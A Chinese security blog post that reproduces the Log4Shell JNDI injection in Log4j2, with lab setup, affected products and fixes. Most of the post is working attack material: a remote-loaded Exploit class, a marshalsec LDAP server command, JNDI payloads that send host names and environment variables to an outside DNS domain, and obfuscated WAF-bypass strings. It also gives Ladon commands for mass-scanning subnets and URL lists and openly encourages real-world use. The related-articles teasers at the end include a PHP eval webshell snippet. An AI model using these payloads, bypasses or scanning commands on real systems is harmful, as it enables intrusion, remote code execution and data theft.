log4Shell核彈級漏洞復現&Ladon批量檢測

2022-01-14 K8實驗室

漏洞簡介

Apache Log4j2是一款優秀的Java日誌框架。近日,漏洞銀行安全團隊注意到了Apache Log4j2遠程代碼執行漏洞。由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。

漏洞原理
Apache Log4j2 中存在JNDI注入漏洞,當程序將用戶輸入的數據進行日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意代碼。

影響版本

Apache Log4j 2.0 <= 2.15.0-rc1


影響產品

    Apache Struts    Apache Struts 2    Apache Solr    Apache Druid    Apache Flink    Apache Spark    Apache Tomcat    ElasticSearch    Flume    Apache Dubbo    Logstash    Kafka    Spring-Boot-starter-log4j2

RedHat     Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected.     https://access.redhat.com/security/cve/cve-2021-4
Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.
https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel
Apache Solr Apache Solr releases prior to 7.4 are affected. https://solr.apache.org/security.html
VMWare Multiple products are affected. https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Citrix Investigation pending https://support.citrix.com/article/CTX335705
Atlassian Atlassian is vulnerable if the default configuration was modified. https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
NetApp Multiple NetApp products are vulnerable. https://security.netapp.com/advisory/ntap-20211210-0007/

PS: 除了本文列的這些產品,還有很多產品受到影響,具體可Google搜漏洞編號加產品名稱,若是官方公告註明哪些版本修復漏洞或哪些版本測試存在漏洞,就代表該產品受到影響,不用你一個個搭環境測試,先不說搭各種環境費時間,就算搭好了觸發點在哪,你也得測好長時間,所以要善用搜尋引擎。

漏洞環境1

使用IDEA新建項目,漏洞示例代碼如下

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { //logger.error("${jndi:ldap://192.168.250.83:800/calc}"); logger.error("${jndi:rmi://192.168.250.83:800/calc}");    }}


漏洞復現1

啟用Ladon的web監聽,編譯執行Poc項目,可看到Ladon回顯目標IP以及提交的數據,Ldap出現一些特殊符號,最明顯的是幾個笑臉,Rmi回顯前幾個字符串為JRMI,回顯以下特徵說明目標存在jdni注入漏洞。


其實也不是非要jndi來遠程測試漏洞,log4j也支持java獲取信息環境變量等,本地APP需要測試還好,實戰是盲測,不像本地可以後臺看,實戰你只能外帶,所以才用到jndi協議,有些人問為什麼不用其它協議,因為受漏洞限制只能jndi協議,利用你就得看jndi支持什麼協議,你才能利用什麼協議。如以下代碼,編譯項目執行,會輸出版本和作業系統信息。

logger.error("${java:version}/${java:os}");

也可使用以下協議探測

    ${jndi:ldap:/}    ${jndi:ldaps:/}    ${jndi:rmi:/}    ${jndi:dns:/}    ${jndi:iiop:/}



漏洞環境2

使用docker搭建環境,這樣可模擬從內網另一臺機來攻擊該機器

docker pull vulfocus/log4j2-rce-2021-12-09:latest

啟動環境2

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

漏洞復現2

由於不知道漏洞觸發點,使用LadonExp.exe盲測,發現注入點為Accept參數,測試方法所有參數均填寫payload,目標URL填寫需要測試的站點,點擊Build_Exe,然後點擊Test_exe測試即可。

改成rmi協議時,發現無法觸發,於是看了下環境的JDK版本,發現是292的,JDK1.8 191起默認不支持RMI協議,所以用rmi測試失敗。

root@4e4424eccb8d:/demo# java -versionopenjdk version "1.8.0_292"OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1~18.04-b10)OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)

以下協議自行測試

${date:ldap:${java:ldap:${marker:ldap:${ctx:ldap:${lower:ldap:${upper:ldap:${jndi:ldap:${jndi:rmi:${main:ldap:${jvmrunargs:ldap:${sys:ldap:${env:ldap:${log4j:ldap:

批量檢測C段

將LadonExp生成的exe改名為log4poc.exe,使用以下命令即可批量檢測C段站點是否存在log4j的jndi注入漏洞。

Ladon 192.168.1.1/c log4poc.exe

批量檢測url.txt

提供你已找好使用JAVA開發的站點URL,存放於url.txt,使用以下命令檢測

Ladon url.txt log4poc.exe

PS: 有人說Ladon為什麼不提供log4j漏洞檢測,實際上早提供了,之前我不是發過好幾篇使用LadonExp一鍵生成漏洞Poc的演示文章嗎?不需要懂編程,只要懂漏洞原理,抓別人的包,填寫對應參數,就可快速實戰批量使用新的POC,這技能你們都不學,錯過了最佳時期別怪我啊...

Exploit

使用JAVA編譯exp.java生成我們的反序列化類Exploit.class,放在Ladon目錄下,使用Ladon web 800一鍵開啟滲透專用迷你web伺服器。演示代碼為彈出計算器,實戰自行修改代碼實現任意功能,不只是執行CMD。要知道所謂CMD命令也是由各程式語言的代碼編譯成EXE後才是你所使用的命令,代碼執行可做CMD做不了的很多事,這是代碼執行和命令執行的最大區別。本漏洞主要是受限於觸發的jndi協議限制,不能本地內部執行代碼或命令,需遠程加載,實際上也能執行些簡短代碼的,如漏洞環境1


//javac exp.java

class Exploit {

    static {

        System.err.println("k8gege");

        try {

            String test= "calc";

            Runtime.getRuntime().exec(test);

        } catch ( Exception e ) {

            e.printStackTrace();

        }

    }

}

啟動Ladp伺服器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.250.83:800/#Exploit"

將漏洞復現1的POC代碼修改,指向我們的ldap伺服器,編譯執行彈出calc


Payload

${jndi:ldap://${hostName}.log4shell.k8gege.org}${jndi:rmi://${hostName}.log4shell.k8gege.org}
Ladon監聽${jndi:ldap://192.168.1.8:800/test}${jndi:rmi://192.168.1.8:800/test}
DNS協議:${jndi:dns://${hostName}.log4shell.k8gege.org}${jndi:dns://${env:COMPUTERNAME}.log4shell.k8gege.org}${jndi:dns://${env:USERDOMAIN}.log4shell.k8gege.org}


WAF攔截規則

應急時可能WAF使用以下特徵攔截,很明顯治標不治本,只能暫時緩解

${date:ldap:${java:ldap:${marker:ldap:${ctx:ldap:${lower:ldap:${upper:ldap:${jndi:ldap:${jndi:rmi:${main:ldap:${jvmrunargs:ldap:${sys:ldap:${env:ldap:${log4j:ldap:


Bypass RC1

${jndi:ldap://127.0.0.1:1389/ badClassName}


Bypass WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}${${::-j}ndi:rmi://k123.k123.k123/ass}${jndi:rmi://k8.k123.k123}${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}

該漏洞利用條件

Log4j2版本Log4j 2.0 <= 2.15.0-rc1,並非有調用log4j就有洞

JDK版本限制,jdk8u191之後RMI和LDAP默認不能從遠程加載類

可能產生日誌記錄的地方,用戶登陸日誌記錄啊,UserAgent、Cookie等,誰知道網站開發者想記錄用戶什麼數據?不確定的情況下,盲測但凡有參數的地方,我們都可以嘗試,或許有驚喜。

目標允許出網,不能出網,存在洞你也不知道,除非你已進入內網,通過Ladon在內網監聽,測試內網站點是否存在jndi漏洞。假設機器只允許dns出網,使用Dnslog探測存在漏洞,TCP協議出不了,ldap、rmi等無法加載class,你也拿不了shell啊,存在洞和能拿權限是兩回事。

 

PS: 該漏洞說大影響大嘛也是真的非常大,但說它雞肋也雞肋,因為我的目標就沒一個成功的,或許存在洞的機器早已通過其它洞拿下,



有些人問為什麼不用dnslog?

你喜歡用dnslog的話也可以,沒什麼問題,只是這幾天這洞玩的人太多,dnslog經常卡死,無法使用,這是第一個原因其次使用dnslog,意味著我們的目標或者說正在測試只有內部人知道公司某些伺服器使用log4j,若是別人也隨機到和你相同的域名,你們公司存在漏洞的站點IP洩露出去,會是什麼後果?使用自己的VPS來搭建的接收器才是最安全的,當然ldap或rmi協議出不來的話,就只能用dnslog來接收dns協議,因為Ladon無法監聽DNS協議,當然要是你要時間也可以完全自己搭個DNS伺服器還接收。



為什麼Ladon能監聽LDAP、RMI?

為什麼ldap、rmi、http等協議Ladon可以監聽到,因為它們本身就是特殊的tcp協議,所以Ladon當然能捕獲到。初中有沒學過正方形是特殊的長方形,就是說你把正方形說成長方形也沒錯,Ladon雖然主要只是解析HTTP協議,但也沒完全對其它協議進行丟棄,只要對前面部份數據16進位原樣解析還是會看到一些明顯的字眼如JRMI協議,所以Ladon對於一些非HTTP協議也可以從控制臺看出來,同理以後其它無回顯漏洞也可以使用Ladon監聽,之前我也發過3篇文章,Linux無回顯滲透、Java無回顯滲透、PowerShell等,大家一定要學會舉一反三,不要非要等別人告訴你,你才知道在這種場景也能用。

漏洞修復

方案一

更新至官方修復版本

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


方案二

①在jvm啟動參數中添加

Dlog4j2.formatMsgNoLookups=true
②系統環境變量中配置FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
③項目中創建log4j2.component.properties文件,文件中增加配置log4j2.formatMsgNoLookups=true

Log4j-JAVA

系統信息ID     usage     method1     ${java:version}     getSystemProperty("java.version")2     ${java:runtime}     getRuntime()3     ${java:vm}     getVirtualMachine()4     ${java:os}     getOperatingSystem()5     ${java:hw}     getHardware()6     ${java:locale}     getLocale()
環境變量id usage1 ${env:A8_HOME}2 ${env:A8_ROOT_BIN}3 ${env:ALLUSERSPROFILE}4 ${env:APPDATA}5 ${env:CATALINA_BASE}6 ${env:CATALINA_HOME}7 ${env:CATALINA_OPTS}8 ${env:CATALINA_TMPDIR}9 ${env:CLASSPATH}10 ${env:CLIENTNAME}11 ${env:COMPUTERNAME}12 ${env:ComSpec}13 ${env:CommonProgramFiles}14 ${env:CommonProgramFiles(x86)}15 ${env:CommonProgramW6432}16 ${env:FP_NO_HOST_CHECK}17 ${env:HOMEDRIVE}18 ${env:HOMEPATH}19 ${env:JRE_HOME}20 ${env:Java_Home}21 ${env:LOCALAPPDATA}22 ${env:LOGONSERVER}23 ${env:NUMBER_OF_PROCESSORS}24 ${env:OS}25 ${env:PATHEXT}26 ${env:PROCESSOR_ARCHITECTURE}27 ${env:PROCESSOR_IDENTIFIER}28 ${env:PROCESSOR_LEVEL}29 ${env:PROCESSOR_REVISION}30 ${env:PROMPT}31 ${env:PSModulePath}32 ${env:PUBLIC}33 ${env:Path}34 ${env:ProgramData}35 ${env:ProgramFiles}36 ${env:ProgramFiles(x86)}37 ${env:ProgramW6432}38 ${env:SESSIONNAME}39 ${env:SystemDrive}40 ${env:SystemRoot}41 ${env:TEMP}42 ${env:TMP}43 ${env:ThisExitCode}44 ${env:USERDOMAIN}45 ${env:USERNAME}46 ${env:USERPROFILE}47 ${env:WORK_PATH}48 ${env:windir}49 ${env:windows_tracing_flags}50 ${env:windows_tracing_logfile}

相關文章

[原創]Ladon 9.1.1 & CobaltStrike插件發布

無回顯命令執行漏洞之Linux滲透方法

JAVA反序列化漏洞命令執行回顯方法

相關焦點

  • phpmyadmin getshell
    slow_query_log_file='E:/WWW/slowlogshell.php';set GLOBAL slow_query_log=on;+,所以4.6.x版本無法復現該漏洞。這裡以phpmyadmin4.4.15.6+phpstudy2014+php5.3.29復現下載地址:https://files.phpmyadmin.net/phpMyAdmin/4.4.15.6/phpMyAdmin-4.4.15.6-all-languages.zip把解壓後的文件目錄放在Web目錄下,這裡我們的文件目錄為phpmyadmin4
  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    w=exp_ass&ec=ECIDfdd4-97c8-4e32-89b7-df58dd102e4c&pk_campaign=weixin-wemedia簡介WebLogic 是美國 Oracle 公司的主要產品之一,是商業市場上主要的 J2EE 應用伺服器軟體,也是世界上第一個成功商業化的 J2EE 應用伺服器
  • 路由器漏洞復現:從原理到第一步驗證
    hello大家好,我是安全客小安,今天給大家帶來來自desword的原創文章,本文以路由器漏洞D-Link DIR-505為例,介紹如何在本地虛擬機中完成漏洞復現
  • CVE-2019-10392:Jenkins Git client插件RCE復現
    收錄於話題 #漏洞復現文章合集繼續下一步,就進入了Jenkins主頁面系統管理 -- 管理用戶 -- 新建用戶,創建一個user帳戶
  • D-Link 路由器漏洞復現(CVE-2019-20215)
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機CVE-2019-20215漏洞描述根據漏洞描述可以獲得到的信息:漏洞點為/htdocs/cgibin中的ssdpcgi()函數固件獲取
  • PHP一些常見的漏洞梳理
    page=/etc/httpd/conf/httpd.conf#Linux默認訪問url的日誌/var/log/httpd/access_log #網站訪問日誌無權限訪問,但是cms本身會記錄錯誤日誌,這種日誌可以訪問拿shell步驟訪問../file.php?id=1<?php @eval($_POST[a]);?
  • 騎士CMS模版注入+文件包含getshell復現
    ec=ECID21bb-8308-4117-ab95-a4602fa6c377&pk_campaign=weixin-wemedia    本實驗介紹了文件包含時繞過限制的原理,以及介紹利用文件包含漏洞讀取源碼的原理。
  • CVE-2017-11882復現及防禦
    復現過程實驗環境:win7 + office2007 win xp + office2003在復現過程中,察覺到是使用 hta 進行命令執行利用,推測攻擊機作為 hta_server,然後嘗試在 msf 搜索 hta,發現一個模塊的實現效果跟 PS_shell 一樣,接下來開始演示一下:
  • 【超詳細 | Python】CS免殺-Shellcode Loader原理(python)
    shellcode是一段用於利用軟體漏洞而執行的代碼shellcode loader是用來運行此代碼的加載器shellcode比作子彈的話,loader就是把槍,兩者缺一不可槍和子彈在一起才有威脅性肯定不讓過安檢啊當只有loader這邊槍時,沒子彈構不成威脅,所以可能會繞過免殺當只有shellcode時,只有子彈沒有槍,也可能會繞過免殺上面就是分離免殺的大致原理,將loader
  • 簡單shellcode學習
    ,簡單學習一下shellcode的編寫。前置知識shellcode(一段16進位的數據,轉化為字符串則為彙編代碼)pwnable之start保護檢測可以看到這道題目什麼保護都沒有開ida分析題目只有start函數,可以知道該題是用彙編語言寫的,順便可以鍛鍊一下自己看彙編的能力
  • 技術乾貨 | AlphaFold/ RoseTTAFold開源復現(1)—推理復現
    最近AlphaFold開源,比較火,項目組也嘗試進行復現,有些經驗給大家分享一下,包括推理復現、訓練復現、分布式訓練復現等,今天先介紹一下推理的復現
  • JSshell:一款針對XSS漏洞的JavaScript反向Shell
    JSshell是一個JavaScript反向Shell工具,該工具可以幫助廣大研究人員遠程利用XSS漏洞或掃描並發現
  • 物聯網漏洞挖掘入門--DLINK-DIR-645路由器棧溢出漏洞分析復現
    通過對漏洞點進行分析,搭建模擬環境並完成整個漏洞利用過程。/dir645_FW_103.bin該漏洞的核心組件為 dir645_FW_103/rootfs$  ./htdocs/web/hedwig.cgi查看hedwig.cgi 文件:可以看出,漏洞組件hedwig.cgi 是一個指向 ./htdocs/cgibin 的符號連結,也就是說真正的漏洞代碼在cgibin中。
  • 通達OA低版本兩個文件上傳復現
    基本都是把已經復現成功的記錄下來了,沒復現成功的就沒寫,還在慢慢的積累。這次我復現的是兩個文件上傳漏洞。通達OA2015和通達OA2013都存在這個漏洞。最後通過+號,也就是空格符號繞過後,才getshell成功之後在清理上傳的文件時,發現了之前嘗試上傳繞過時上傳的test.php:test.txt文件保存文件的文件名還是test.php
  • 技術乾貨 | PHP序列化漏洞原理
    = '') { file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>'); die('Success!!!')
  • 常見未授權訪問漏洞實用技巧
    體驗靶場實戰練習      滲透視頻教程 思路技巧 面試案例 滲透思維導圖 練手靶場 聯繫小助理領取前言未授權訪問漏洞是常見的攻JI入口點,某些嚴重的未授權訪問會直接導致getshell,熟悉常見的未授權訪問漏洞排查方法對紅藍雙方都有很大的幫助
  • Fastjson 1.2.47 遠程命令執行漏洞
    話不多說,今天帶大家復現一下Fastjson1.2.47遠程命令執行漏洞。漏洞實現流程準備環境本次漏洞復現需要有三臺設備(兩臺也可以)主機A:模擬Fastjson漏洞環境(centos7)馬上就要到漏洞復現的環節,有沒有點小興奮........嘻嘻漏洞復現訪問主機A的ip地址加埠號(8090)並使用burp抓包,將請求包發到Repeater模塊。
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    -rc1.tar.xz #解壓源碼壓縮包cd qemu-4.0.0-rc1 # 進入源碼目錄./squashfs-root/proc/chroot squashfs-root sh# 切換根目錄後執行新目錄結構下的 sh shell使用 chroot 後,系統讀取的是新根下的目錄和文件,也就是固件的目錄和文件 chroot 默認不會切換 /dev 和 /proc, 因此切換根目錄前需要現掛載這兩個目錄
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    /未被過濾利用姿勢:LFI-編碼繞過很多時候後臺代碼都會對用戶輸入的數據進行檢測過濾,常見的就是在敏感字符前加 \ 進行轉義,但通過編碼可以繞過它的檢測。零字節截斷漏洞Bypass-協議限制data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼